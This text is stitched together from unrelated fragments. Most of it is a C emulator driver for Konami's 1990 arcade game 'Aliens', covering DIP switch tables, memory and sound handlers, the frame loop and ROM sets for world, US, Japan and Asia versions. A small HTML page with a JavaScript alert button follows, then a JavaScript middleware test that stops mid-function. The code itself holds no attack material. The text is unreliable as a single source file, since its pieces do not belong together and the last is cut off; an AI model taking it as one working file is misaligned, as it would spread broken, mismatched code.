	{0x12, 0x01, 0xf0, 0x80, "2 Coins 1 Credit"	  },
	{0x12, 0x01, 0xf0, 0x40, "3 Coins 2 Credits"	},
	{0x12, 0x01, 0xf0, 0x10, "4 Coins 3 Credits"	},
	{0x12, 0x01, 0xf0, 0xf0, "1 Coin  1 Credit"	  },
	{0x12, 0x01, 0xf0, 0x30, "3 Coins 4 Credits"	},
	{0x12, 0x01, 0xf0, 0x70, "2 Coins 3 Credits"	},
	{0x12, 0x01, 0xf0, 0xe0, "1 Coin  2 Credits"	},
	{0x12, 0x01, 0xf0, 0x60, "2 Coins 5 Credits"	},
	{0x12, 0x01, 0xf0, 0xd0, "1 Coin  3 Credits"	},
	{0x12, 0x01, 0xf0, 0xc0, "1 Coin  4 Credits"	},
	{0x12, 0x01, 0xf0, 0xb0, "1 Coin  5 Credits"	},
	{0x12, 0x01, 0xf0, 0xa0, "1 Coin  6 Credits"	},
	{0x12, 0x01, 0xf0, 0x90, "1 Coin  7 Credits"	},
	{0x12, 0x01, 0xf0, 0x00, "No Credits"		},

	{0   , 0xfe, 0   ,    4, "Lives"		},
	{0x13, 0x01, 0x03, 0x03, "1"			},
	{0x13, 0x01, 0x03, 0x02, "2"			},
	{0x13, 0x01, 0x03, 0x01, "3"			},
	{0x13, 0x01, 0x03, 0x00, "5"			},

	{0   , 0xfe, 0   ,    4, "Difficulty"		},
	{0x13, 0x01, 0x60, 0x60, "Easy"			},
	{0x13, 0x01, 0x60, 0x40, "Normal"		},
	{0x13, 0x01, 0x60, 0x20, "Hard"			},
	{0x13, 0x01, 0x60, 0x00, "Very Hard"		},

	{0   , 0xfe, 0   ,    2, "Demo Sounds"		},
	{0x13, 0x01, 0x80, 0x80, "Off"			},
	{0x13, 0x01, 0x80, 0x00, "On"			},

//	{0   , 0xfe, 0   ,    2, "Flip Screen"		},
//	{0x14, 0x01, 0x01, 0x01, "Off"			},
//	{0x14, 0x01, 0x01, 0x00, "On"			},

	{0   , 0xfe, 0   ,    2, "Service Mode"		},
	{0x14, 0x01, 0x04, 0x04, "Off"			},
	{0x14, 0x01, 0x04, 0x00, "On"			},
};

STDDIPINFO(Aliens)

static void set_ram_bank(INT32 data)
{
	nDrvRamBank[0] = data;

	if (data & 0x20) {
		konamiMapMemory(DrvPalRAM,  0x0000, 0x03ff, MAP_RAM);
	} else {
		konamiMapMemory(DrvBankRAM, 0x0000, 0x03ff, MAP_RAM);
	}
}

void aliens_main_write(UINT16 address, UINT8 data)
{
	switch (address)
	{
		case 0x5f88:
			set_ram_bank(data & 0x20);
			K052109RMRDLine = data & 0x40;
		return;

		case 0x5f8c:
			*soundlatch = data;
			ZetSetVector(0xff);
			ZetSetIRQLine(0, CPU_IRQSTATUS_ACK);
		return;
	}

	if ((address & 0xc000) == 0x4000) {
		K052109_051960_w(address & 0x3fff, data);
		return;
	}
}

UINT8 aliens_main_read(UINT16 address)
{
	switch (address)
	{
		case 0x5f80:
			return DrvDips[2];

		case 0x5f81:
			return DrvInputs[0];

		case 0x5f82:
			return DrvInputs[1];

		case 0x5f83:
			return DrvDips[1];

		case 0x5f84:
			return DrvDips[0];

		case 0x5f88:
			// watchdog reset
			return 0;
	}

	if ((address & 0xc000) == 0x4000) {
		return K052109_051960_r(address & 0x3fff);
	}

	return 0;
}

void __fastcall aliens_sound_write(UINT16 address, UINT8 data)
{
	if ((address & 0xfff0) == 0xe000) {
		K007232WriteReg(0, address & 0x0f, data);
		return;
	}

	switch (address)
	{
		case 0xa000:
			BurnYM2151SelectRegister(data);
		return;

		case 0xa001:
			BurnYM2151WriteRegister(data);
		return;
	}
}

UINT8 __fastcall aliens_sound_read(UINT16 address)
{
	if ((address & 0xfff0) == 0xe000) {
		return K007232ReadReg(0, address & 0x0f);
	}

	switch (address)
	{
		case 0xa000:
		case 0xa001:
			return BurnYM2151Read();

		case 0xc000:
			ZetSetIRQLine(0, CPU_IRQSTATUS_NONE);
			return *soundlatch;
	}

	return 0;
}

static void DrvYM2151WritePort(UINT32, UINT32 data)
{
	INT32 bank_A = ((data >> 1) & 0x01);
	INT32 bank_B = ((data) & 0x01);

	k007232_set_bank(0, bank_A, bank_B );
}

static void DrvK007232VolCallback(INT32 v)
{
	K007232SetVolume(0, 0, (v >> 0x4) * 0x11, 0);
	K007232SetVolume(0, 1, 0, (v & 0x0f) * 0x11);
}

static void aliens_set_lines(INT32 lines)
{
	nDrvKonamiBank[0] = lines;

	INT32 nBank = (lines & 0x1f) * 0x2000;

	konamiMapMemory(DrvKonROM + 0x10000 + nBank, 0x2000, 0x3fff, MAP_ROM);
}

static void K052109Callback(INT32 layer, INT32 bank, INT32 *code, INT32 *color, INT32 *, INT32 *)
{
	*code |= ((*color & 0x3f) << 8) | (bank << 14);
	*code &= 0xffff;
	*color = (layer << 2) + ((*color & 0xc0) >> 6);
}

static void K051960Callback(INT32 *code, INT32 *color,INT32 *priority, INT32 *shadow)
{
	switch (*color & 0x70)
	{
		case 0x10: *priority = 0x00; break;
		case 0x00: *priority = 0xf0; break;
		case 0x40: *priority = 0xfc; break;
		case 0x20:
		case 0x60: *priority = 0xfe; break;
		case 0x50: *priority = 0xcc; break;
		case 0x30:
		case 0x70: *priority = 0xee; break;
	}

	*code |= (*color & 0x80) << 6;
	*code &= 0x3fff;
	*color = 16 + (*color & 0x0f);
	*shadow = 0;
}

static INT32 DrvDoReset()
{
	DrvReset = 0;

	memset (AllRam, 0, RamEnd - AllRam);

	konamiOpen(0);
	konamiReset();
	konamiClose();

	ZetOpen(0);
	ZetReset();
	ZetClose();

	K007232Reset(0);
	BurnYM2151Reset();

	KonamiICReset();

	return 0;
}

static INT32 MemIndex()
{
	UINT8 *Next; Next = AllMem;

	DrvKonROM		= Next; Next += 0x040000;
	DrvZ80ROM		= Next; Next += 0x010000;

	DrvGfxROM0		= Next; Next += 0x200000;
	DrvGfxROM1		= Next; Next += 0x200000;
	DrvGfxROMExp0		= Next; Next += 0x400000;
	DrvGfxROMExp1		= Next; Next += 0x400000;

	DrvSndROM		= Next; Next += 0x040000;

	DrvPalette		= (UINT32*)Next; Next += 0x200 * sizeof(UINT32);

	AllRam			= Next;

	DrvBankRAM		= Next; Next += 0x000400;
	DrvKonRAM		= Next; Next += 0x001c00;
	DrvPalRAM		= Next; Next += 0x000400;

	DrvZ80RAM		= Next; Next += 0x000800;

	soundlatch		= Next; Next += 0x000001;

	nDrvRamBank		= Next; Next += 0x000001;
	nDrvKonamiBank		= Next; Next += 0x000001;

	RamEnd			= Next;
	MemEnd			= Next;

	return 0;
}

static INT32 DrvInit()
{
	GenericTilesInit();

	AllMem = NULL;
	MemIndex();
	INT32 nLen = MemEnd - (UINT8 *)0;
	if ((AllMem = (UINT8 *)BurnMalloc(nLen)) == NULL) return 1;
	memset(AllMem, 0, nLen);
	MemIndex();

	{
		if (BurnLoadRom(DrvKonROM  + 0x030000,  0, 1)) return 1;
		if (BurnLoadRom(DrvKonROM  + 0x010000,  1, 1)) return 1;
		memcpy (DrvKonROM + 0x08000, DrvKonROM + 0x38000, 0x8000);

		if (BurnLoadRom(DrvZ80ROM  + 0x000000,  2, 1)) return 1;

		if (BurnLoadRomExt(DrvGfxROM0 + 0x000000,  3, 4, LD_GROUP(2))) return 1;
		if (BurnLoadRomExt(DrvGfxROM0 + 0x000002,  4, 4, LD_GROUP(2))) return 1;
		if (BurnLoadRomExt(DrvGfxROM0 + 0x100000,  5, 4, LD_GROUP(2))) return 1;
		if (BurnLoadRomExt(DrvGfxROM0 + 0x100002,  6, 4, LD_GROUP(2))) return 1;

		if (BurnLoadRomExt(DrvGfxROM1 + 0x000000,  7, 4, LD_GROUP(2))) return 1;
		if (BurnLoadRomExt(DrvGfxROM1 + 0x000002,  8, 4, LD_GROUP(2))) return 1;
		if (BurnLoadRomExt(DrvGfxROM1 + 0x100000,  9, 4, LD_GROUP(2))) return 1;
		if (BurnLoadRomExt(DrvGfxROM1 + 0x100002, 10, 4, LD_GROUP(2))) return 1;

		if (BurnLoadRom(DrvSndROM  + 0x000000, 11, 1)) return 1;

		K052109GfxDecode(DrvGfxROM0, DrvGfxROMExp0, 0x200000);
		K051960GfxDecode(DrvGfxROM1, DrvGfxROMExp1, 0x200000);
	}

	konamiInit(0);
	konamiOpen(0);
	konamiMapMemory(DrvBankRAM,          0x0000, 0x03ff, MAP_RAM);
	konamiMapMemory(DrvKonRAM,           0x0400, 0x1fff, MAP_RAM);
	konamiMapMemory(DrvKonROM + 0x10000, 0x2000, 0x3fff, MAP_ROM);
	konamiMapMemory(DrvKonROM + 0x08000, 0x8000, 0xffff, MAP_ROM);
	konamiSetWriteHandler(aliens_main_write);
	konamiSetReadHandler(aliens_main_read);
	konamiSetlinesCallback(aliens_set_lines);
	konamiClose();

	ZetInit(0);
	ZetOpen(0);
	ZetMapArea(0x0000, 0x7fff, 0, DrvZ80ROM);
	ZetMapArea(0x0000, 0x7fff, 2, DrvZ80ROM);
	ZetMapArea(0x8000, 0x87ff, 0, DrvZ80RAM);
	ZetMapArea(0x8000, 0x87ff, 1, DrvZ80RAM);
	ZetMapArea(0x8000, 0x87ff, 2, DrvZ80RAM);
	ZetSetWriteHandler(aliens_sound_write);
	ZetSetReadHandler(aliens_sound_read);
	ZetClose();

	K052109Init(DrvGfxROM0, DrvGfxROMExp0, 0x1fffff);
	K052109SetCallback(K052109Callback);
	K052109AdjustScroll(8, 0);

	K051960Init(DrvGfxROM1, DrvGfxROMExp1, 0x1fffff);
	K051960SetCallback(K051960Callback);
	K051960SetSpriteOffset(8, 0);

	BurnYM2151Init(3579545);
	BurnYM2151SetPortHandler(&DrvYM2151WritePort);
	BurnYM2151SetAllRoutes(0.60, BURN_SND_ROUTE_BOTH);

	K007232Init(0, 3579545, DrvSndROM, 0x40000);
	K007232SetPortWriteHandler(0, DrvK007232VolCallback);
	K007232PCMSetAllRoutes(0, 0.20, BURN_SND_ROUTE_BOTH);

	DrvDoReset();

	return 0;
}

static INT32 DrvExit()
{
	GenericTilesExit();

	KonamiICExit();

	konamiExit();
	ZetExit();

	K007232Exit();
	BurnYM2151Exit();

	BurnFree (AllMem);

	return 0;
}

static INT32 DrvDraw()
{
	KonamiRecalcPalette(DrvPalRAM, DrvPalette, 0x400);

	K052109UpdateScroll();

	KonamiClearBitmaps(DrvPalette[0x0040]);

	if (nBurnLayer & 1) K052109RenderLayer(1, 0, 1);
	if (nBurnLayer & 2) K052109RenderLayer(2, 0, 2);
	if (nBurnLayer & 4) K052109RenderLayer(0, 0, 4);

	if (nSpriteEnable & 1) K051960SpritesRender(-1, -1);

	KonamiBlendCopy(DrvPalette);

	return 0;
}

static INT32 DrvFrame()
{
	if (DrvReset) {
		DrvDoReset();
	}

	{
		memset (DrvInputs, 0xff, sizeof ( DrvInputs ));

		for (INT32 i = 0; i < 8; i++)
		{
			DrvInputs[0] ^= (DrvJoy1[i] & 1) << i;
			DrvInputs[1] ^= (DrvJoy2[i] & 1) << i;
			DrvDips[2] ^= (DrvJoy3[i] & 1) << i;
		}

		// Clear opposites
		if ((DrvInputs[0] & 0x03) == 0) DrvInputs[0] |= 0x03;
		if ((DrvInputs[0] & 0x0c) == 0) DrvInputs[0] |= 0x0c;
		if ((DrvInputs[1] & 0x03) == 0) DrvInputs[1] |= 0x03;
		if ((DrvInputs[1] & 0x0c) == 0) DrvInputs[1] |= 0x0c;
	}

	konamiNewFrame();
	ZetNewFrame();

	INT32 nSoundBufferPos = 0;
	INT32 nInterleave = nBurnSoundLen;
	INT32 nCyclesTotal[2] = { 6000000 / 60, 3579545 / 60 };
	INT32 nCyclesDone[2] = { 0, 0 };

	ZetOpen(0);
	konamiOpen(0);

	for (INT32 i = 0; i < nInterleave; i++)
	{
		INT32 nSegment = (nCyclesTotal[0] / nInterleave) * (i + 1);

		nCyclesDone[0] += konamiRun(nSegment - nCyclesDone[0]);

		nSegment = (nCyclesTotal[1] / nInterleave) * (i + 1);

		nCyclesDone[1] += ZetRun(nSegment - nCyclesDone[1]);

		if (pBurnSoundOut) {
			INT32 nSegmentLength = nBurnSoundLen / nInterleave;
			INT16* pSoundBuf = pBurnSoundOut + (nSoundBufferPos << 1);
			BurnYM2151Render(pSoundBuf, nSegmentLength);
			K007232Update(0, pSoundBuf, nSegmentLength);
			nSoundBufferPos += nSegmentLength;
		}
	}

	if (K051960_irq_enabled) konamiSetIrqLine(KONAMI_IRQ_LINE, CPU_IRQSTATUS_AUTO);

	if (pBurnSoundOut) {
		INT32 nSegmentLength = nBurnSoundLen - nSoundBufferPos;
		if (nSegmentLength) {
			INT16* pSoundBuf = pBurnSoundOut + (nSoundBufferPos << 1);
			BurnYM2151Render(pSoundBuf, nSegmentLength);
			K007232Update(0, pSoundBuf, nSegmentLength);
		}
	}

	konamiClose();
	ZetClose();

	if (pBurnDraw) {
		DrvDraw();
	}

	return 0;
}

static INT32 DrvScan(INT32 nAction,INT32 *pnMin)
{
	struct BurnArea ba;

	if (pnMin) {
		*pnMin = 0x029704;
	}

	if (nAction & ACB_VOLATILE) {
		memset(&ba, 0, sizeof(ba));

		ba.Data	  = AllRam;
		ba.nLen	  = RamEnd - AllRam;
		ba.szName = "All Ram";
		BurnAcb(&ba);

		konamiCpuScan(nAction);
		ZetScan(nAction);

		BurnYM2151Scan(nAction, pnMin);
		K007232Scan(nAction, pnMin);

		KonamiICScan(nAction);
	}

	if (nAction & ACB_WRITE) {
		konamiOpen(0);
		set_ram_bank(nDrvRamBank[0]);
		aliens_set_lines(nDrvKonamiBank[0]);
		konamiClose();
	}

	return 0;
}

// Aliens (World set 1)

static struct BurnRomInfo aliensRomDesc[] = {
	{ "875_j02.e24",	0x10000, 0x56c20971, 1 | BRF_PRG | BRF_ESS }, //  0 Konami CPU Code
	{ "875_j01.c24",	0x20000, 0x6a529cd6, 1 | BRF_PRG | BRF_ESS }, //  1

	{ "875_b03.g04",	0x08000, 0x1ac4d283, 2 | BRF_PRG | BRF_ESS }, //  2 Z80 Code

	{ "875b11.k13",		0x80000, 0x89c5c885, 3 | BRF_GRA },           //  3 Background Tiles
	{ "875b12.k19",		0x80000, 0xea6bdc17, 3 | BRF_GRA },           //  4
	{ "875b07.j13",		0x40000, 0xe9c56d66, 3 | BRF_GRA },           //  5
	{ "875b08.j19",		0x40000, 0xf9387966, 3 | BRF_GRA },           //  6

	{ "875b10.k08",		0x80000, 0x0b1035b1, 4 | BRF_GRA },           //  7 Sprites
	{ "875b09.k02",		0x80000, 0xe76b3c19, 4 | BRF_GRA },           //  8
	{ "875b06.j08",		0x40000, 0x081a0566, 4 | BRF_GRA },           //  9
	{ "875b05.j02",		0x40000, 0x19a261f2, 4 | BRF_GRA },           // 10

	{ "875b04.e05",		0x40000, 0x4e209ac8, 5 | BRF_SND },           // 11 K007232 Samples

	{ "821a08.h14",		0x00100, 0x7da55800, 6 | BRF_OPT },           // 12 Timing Proms
};

STD_ROM_PICK(aliens)
STD_ROM_FN(aliens)

struct BurnDriver BurnDrvAliens = {
	"aliens", NULL, NULL, NULL, "1990",
	"Aliens (World set 1)\0", NULL, "Konami", "GX875",
	NULL, NULL, NULL, NULL,
	BDF_GAME_WORKING, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,
	NULL, aliensRomInfo, aliensRomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,
	DrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,
	288, 224, 4, 3
};

// Aliens (World set 2)

static struct BurnRomInfo aliens2RomDesc[] = {
	{ "875_p02.e24",	0x10000, 0x4edd707d, 1 | BRF_PRG | BRF_ESS }, //  0 Konami CPU Code
	{ "875_n01.c24",	0x20000, 0x106cf59c, 1 | BRF_PRG | BRF_ESS }, //  1

	{ "875_b03.g04",	0x08000, 0x1ac4d283, 2 | BRF_PRG | BRF_ESS }, //  2 Z80 Code

	{ "875b11.k13",		0x80000, 0x89c5c885, 3 | BRF_GRA },           //  3 Background Tiles
	{ "875b12.k19",		0x80000, 0xea6bdc17, 3 | BRF_GRA },           //  4
	{ "875b07.j13",		0x40000, 0xe9c56d66, 3 | BRF_GRA },           //  5
	{ "875b08.j19",		0x40000, 0xf9387966, 3 | BRF_GRA },           //  6

	{ "875b10.k08",		0x80000, 0x0b1035b1, 4 | BRF_GRA },           //  7 Sprites
	{ "875b09.k02",		0x80000, 0xe76b3c19, 4 | BRF_GRA },           //  8
	{ "875b06.j08",		0x40000, 0x081a0566, 4 | BRF_GRA },           //  9
	{ "875b05.j02",		0x40000, 0x19a261f2, 4 | BRF_GRA },           // 10

	{ "875b04.e05",		0x40000, 0x4e209ac8, 5 | BRF_SND },           // 11 K007232 Samples

	{ "821a08.h14",		0x00100, 0x7da55800, 6 | BRF_OPT },           // 12 Timing Proms
};

STD_ROM_PICK(aliens2)
STD_ROM_FN(aliens2)

struct BurnDriver BurnDrvAliens2 = {
	"aliens2", "aliens", NULL, NULL, "1990",
	"Aliens (World set 2)\0", NULL, "Konami", "GX875",
	NULL, NULL, NULL, NULL,
	BDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,
	NULL, aliens2RomInfo, aliens2RomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,
	DrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,
	288, 224, 4, 3
};

// Aliens (World set 3)

static struct BurnRomInfo aliens3RomDesc[] = {
	{ "875_w3_2.e24",	0x10000, 0xf917f7b5, 1 | BRF_PRG | BRF_ESS }, //  0 Konami CPU Code
	{ "875_w3_1.c24",	0x20000, 0x3c0006fb, 1 | BRF_PRG | BRF_ESS }, //  1

	{ "875_b03.g04",	0x08000, 0x1ac4d283, 2 | BRF_PRG | BRF_ESS }, //  2 Z80 Code

	{ "875b11.k13",		0x80000, 0x89c5c885, 3 | BRF_GRA },           //  3 Background Tiles
	{ "875b12.k19",		0x80000, 0xea6bdc17, 3 | BRF_GRA },           //  4
	{ "875b07.j13",		0x40000, 0xe9c56d66, 3 | BRF_GRA },           //  5
	{ "875b08.j19",		0x40000, 0xf9387966, 3 | BRF_GRA },           //  6

	{ "875b10.k08",		0x80000, 0x0b1035b1, 4 | BRF_GRA },           //  7 Sprites
	{ "875b09.k02",		0x80000, 0xe76b3c19, 4 | BRF_GRA },           //  8
	{ "875b06.j08",		0x40000, 0x081a0566, 4 | BRF_GRA },           //  9
	{ "875b05.j02",		0x40000, 0x19a261f2, 4 | BRF_GRA },           // 10

	{ "875b04.e05",		0x40000, 0x4e209ac8, 5 | BRF_SND },           // 11 K007232 Samples

	{ "821a08.h14",		0x00100, 0x7da55800, 6 | BRF_OPT },           // 12 Timing Proms
};

STD_ROM_PICK(aliens3)
STD_ROM_FN(aliens3)

struct BurnDriver BurnDrvAliens3 = {
	"aliens3", "aliens", NULL, NULL, "1990",
	"Aliens (World set 3)\0", NULL, "Konami", "GX875",
	NULL, NULL, NULL, NULL,
	BDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,
	NULL, aliens3RomInfo, aliens3RomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,
	DrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,
	288, 224, 4, 3
};

// Aliens (US set 1)

static struct BurnRomInfo aliensuRomDesc[] = {
	{ "875_n02.e24",	0x10000, 0x24dd612e, 1 | BRF_PRG | BRF_ESS }, //  0 Konami CPU Code
	{ "875_n01.c24",	0x20000, 0x106cf59c, 1 | BRF_PRG | BRF_ESS }, //  1

	{ "875_b03.g04",	0x08000, 0x1ac4d283, 2 | BRF_PRG | BRF_ESS }, //  2 Z80 Code

	{ "875b11.k13",		0x80000, 0x89c5c885, 3 | BRF_GRA },           //  3 Background Tiles
	{ "875b12.k19",		0x80000, 0xea6bdc17, 3 | BRF_GRA },           //  4
	{ "875b07.j13",		0x40000, 0xe9c56d66, 3 | BRF_GRA },           //  5
	{ "875b08.j19",		0x40000, 0xf9387966, 3 | BRF_GRA },           //  6

	{ "875b10.k08",		0x80000, 0x0b1035b1, 4 | BRF_GRA },           //  7 Sprites
	{ "875b09.k02",		0x80000, 0xe76b3c19, 4 | BRF_GRA },           //  8
	{ "875b06.j08",		0x40000, 0x081a0566, 4 | BRF_GRA },           //  9
	{ "875b05.j02",		0x40000, 0x19a261f2, 4 | BRF_GRA },           // 10

	{ "875b04.e05",		0x40000, 0x4e209ac8, 5 | BRF_SND },           // 11 K007232 Samples

	{ "821a08.h14",		0x00100, 0x7da55800, 6 | BRF_OPT },           // 12 Timing Proms
};

STD_ROM_PICK(aliensu)
STD_ROM_FN(aliensu)

struct BurnDriver BurnDrvAliensu = {
	"aliensu", "aliens", NULL, NULL, "1990",
	"Aliens (US set 1)\0", NULL, "Konami", "GX875",
	NULL, NULL, NULL, NULL,
	BDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,
	NULL, aliensuRomInfo, aliensuRomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,
	DrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,
	288, 224, 4, 3
};

// Aliens (US set 2)

static struct BurnRomInfo aliensu2RomDesc[] = {
	{ "875_h02.e24",	0x10000, 0x328ddb15, 1 | BRF_PRG | BRF_ESS }, //  0 Konami CPU Code
	{ "875_h01.c24",	0x20000, 0xba7f5489, 1 | BRF_PRG | BRF_ESS }, //  1

	{ "875_b03.g04",	0x08000, 0x1ac4d283, 2 | BRF_PRG | BRF_ESS }, //  2 Z80 Code

	{ "875b11.k13",		0x80000, 0x89c5c885, 3 | BRF_GRA },           //  3 Background Tiles
	{ "875b12.k19",		0x80000, 0xea6bdc17, 3 | BRF_GRA },           //  4
	{ "875b07.j13",		0x40000, 0xe9c56d66, 3 | BRF_GRA },           //  5
	{ "875b08.j19",		0x40000, 0xf9387966, 3 | BRF_GRA },           //  6

	{ "875b10.k08",		0x80000, 0x0b1035b1, 4 | BRF_GRA },           //  7 Sprites
	{ "875b09.k02",		0x80000, 0xe76b3c19, 4 | BRF_GRA },           //  8
	{ "875b06.j08",		0x40000, 0x081a0566, 4 | BRF_GRA },           //  9
	{ "875b05.j02",		0x40000, 0x19a261f2, 4 | BRF_GRA },           // 10

	{ "875b04.e05",		0x40000, 0x4e209ac8, 5 | BRF_SND },           // 11 K007232 Samples

	{ "821a08.h14",		0x00100, 0x7da55800, 6 | BRF_OPT },           // 12 Timing Proms
};

STD_ROM_PICK(aliensu2)
STD_ROM_FN(aliensu2)

struct BurnDriver BurnDrvAliensu2 = {
	"aliensu2", "aliens", NULL, NULL, "1990",
	"Aliens (US set 2)\0", NULL, "Konami", "GX875",
	NULL, NULL, NULL, NULL,
	BDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,
	NULL, aliensu2RomInfo, aliensu2RomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,
	DrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,
	288, 224, 4, 3
};

// Aliens (Japan set 1)

static struct BurnRomInfo aliensjRomDesc[] = {
	{ "875_m02.e24",	0x10000, 0x54a774e5, 1 | BRF_PRG | BRF_ESS }, //  0 Konami CPU Code
	{ "875_m01.c24",	0x20000, 0x1663d3dc, 1 | BRF_PRG | BRF_ESS }, //  1

	{ "875_k03.g04",	0x08000, 0xbd86264d, 2 | BRF_PRG | BRF_ESS }, //  2 Z80 Code

	{ "875b11.k13",		0x80000, 0x89c5c885, 3 | BRF_GRA },           //  3 Background Tiles
	{ "875b12.k19",		0x80000, 0xea6bdc17, 3 | BRF_GRA },           //  4
	{ "875b07.j13",		0x40000, 0xe9c56d66, 3 | BRF_GRA },           //  5
	{ "875b08.j19",		0x40000, 0xf9387966, 3 | BRF_GRA },           //  6

	{ "875b10.k08",		0x80000, 0x0b1035b1, 4 | BRF_GRA },           //  7 Sprites
	{ "875b09.k02",		0x80000, 0xe76b3c19, 4 | BRF_GRA },           //  8
	{ "875b06.j08",		0x40000, 0x081a0566, 4 | BRF_GRA },           //  9
	{ "875b05.j02",		0x40000, 0x19a261f2, 4 | BRF_GRA },           // 10

	{ "875b04.e05",		0x40000, 0x4e209ac8, 5 | BRF_SND },           // 11 K007232 Samples

	{ "821a08.h14",		0x00100, 0x7da55800, 6 | BRF_OPT },           // 12 Timing Proms
};

STD_ROM_PICK(aliensj)
STD_ROM_FN(aliensj)

struct BurnDriver BurnDrvAliensj = {
	"aliensj", "aliens", NULL, NULL, "1990",
	"Aliens (Japan set 1)\0", NULL, "Konami", "GX875",
	NULL, NULL, NULL, NULL,
	BDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,
	NULL, aliensjRomInfo, aliensjRomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,
	DrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,
	288, 224, 4, 3
};

// Aliens (Japan set 2)

static struct BurnRomInfo aliensj2RomDesc[] = {
	{ "875_j2_2.e24",	0x10000, 0x4bb84952, 1 | BRF_PRG | BRF_ESS }, //  0 Konami CPU Code
	{ "875_m01.c24",	0x20000, 0x1663d3dc, 1 | BRF_PRG | BRF_ESS }, //  1

	{ "875_k03.g04",	0x08000, 0xbd86264d, 2 | BRF_PRG | BRF_ESS }, //  2 Z80 Code

	{ "875b11.k13",		0x80000, 0x89c5c885, 3 | BRF_GRA },           //  3 Background Tiles
	{ "875b12.k19",		0x80000, 0xea6bdc17, 3 | BRF_GRA },           //  4
	{ "875b07.j13",		0x40000, 0xe9c56d66, 3 | BRF_GRA },           //  5
	{ "875b08.j19",		0x40000, 0xf9387966, 3 | BRF_GRA },           //  6

	{ "875b10.k08",		0x80000, 0x0b1035b1, 4 | BRF_GRA },           //  7 Sprites
	{ "875b09.k02",		0x80000, 0xe76b3c19, 4 | BRF_GRA },           //  8
	{ "875b06.j08",		0x40000, 0x081a0566, 4 | BRF_GRA },           //  9
	{ "875b05.j02",		0x40000, 0x19a261f2, 4 | BRF_GRA },           // 10

	{ "875b04.e05",		0x40000, 0x4e209ac8, 5 | BRF_SND },           // 11 K007232 Samples

	{ "821a08.h14",		0x00100, 0x7da55800, 6 | BRF_OPT },           // 12 Timing Proms
};

STD_ROM_PICK(aliensj2)
STD_ROM_FN(aliensj2)

struct BurnDriver BurnDrvAliensj2 = {
	"aliensj2", "aliens", NULL, NULL, "1990",
	"Aliens (Japan set 2)\0", NULL, "Konami", "GX875",
	NULL, NULL, NULL, NULL,
	BDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,
	NULL, aliensj2RomInfo, aliensj2RomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,
	DrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,
	288, 224, 4, 3
};

// Aliens (Asia)

static struct BurnRomInfo aliensaRomDesc[] = {
	{ "875_r02.e24",	0x10000, 0x973e4f11, 1 | BRF_PRG | BRF_ESS }, //  0 Konami CPU Code
	{ "875_m01.c24",	0x20000, 0x1663d3dc, 1 | BRF_PRG | BRF_ESS }, //  1

	{ "875_k03.g04",	0x08000, 0xbd86264d, 2 | BRF_PRG | BRF_ESS }, //  2 Z80 Code

	{ "875b11.k13",		0x80000, 0x89c5c885, 3 | BRF_GRA },           //  3 Background Tiles
	{ "875b12.k19",		0x80000, 0xea6bdc17, 3 | BRF_GRA },           //  4
	{ "875b07.j13",		0x40000, 0xe9c56d66, 3 | BRF_GRA },           //  5
	{ "875b08.j19",		0x40000, 0xf9387966, 3 | BRF_GRA },           //  6

	{ "875b10.k08",		0x80000, 0x0b1035b1, 4 | BRF_GRA },           //  7 Sprites
	{ "875b09.k02",		0x80000, 0xe76b3c19, 4 | BRF_GRA },           //  8
	{ "875b06.j08",		0x40000, 0x081a0566, 4 | BRF_GRA },           //  9
	{ "875b05.j02",		0x40000, 0x19a261f2, 4 | BRF_GRA },           // 10

	{ "875b04.e05",		0x40000, 0x4e209ac8, 5 | BRF_SND },           // 11 K007232 Samples

	{ "821a08.h14",		0x00100, 0x7da55800, 6 | BRF_OPT },           // 12 Timing Proms
};

STD_ROM_PICK(aliensa)
STD_ROM_FN(aliensa)

struct BurnDriver BurnDrvAliensa = {
	"aliensa", "aliens", NULL, NULL, "1990",
	"Aliens (Asia)\0", NULL, "Konami", "GX875",
	NULL, NULL, NULL, NULL,
	BDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,
	NULL, aliensaRomInfo, aliensaRomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,
	DrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,
	288, 224, 4, 3
};


<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
		<script type="text/javascript">
			function do_alert() {
				alert("js alert");
				console.log("Alert done");
			}
		</script>
    </head>
    <body>
        <input type="button" onclick="do_alert()" value="Show alert" id="button">
    </body>
</html>


/**
 * Internal dependencies
 */
import httpV1Middleware from '../http-v1';

describe( 'HTTP v1 Middleware', () => {
	it( 'should use a POST for a PUT requests', () => {
		expect.hasAssertions();

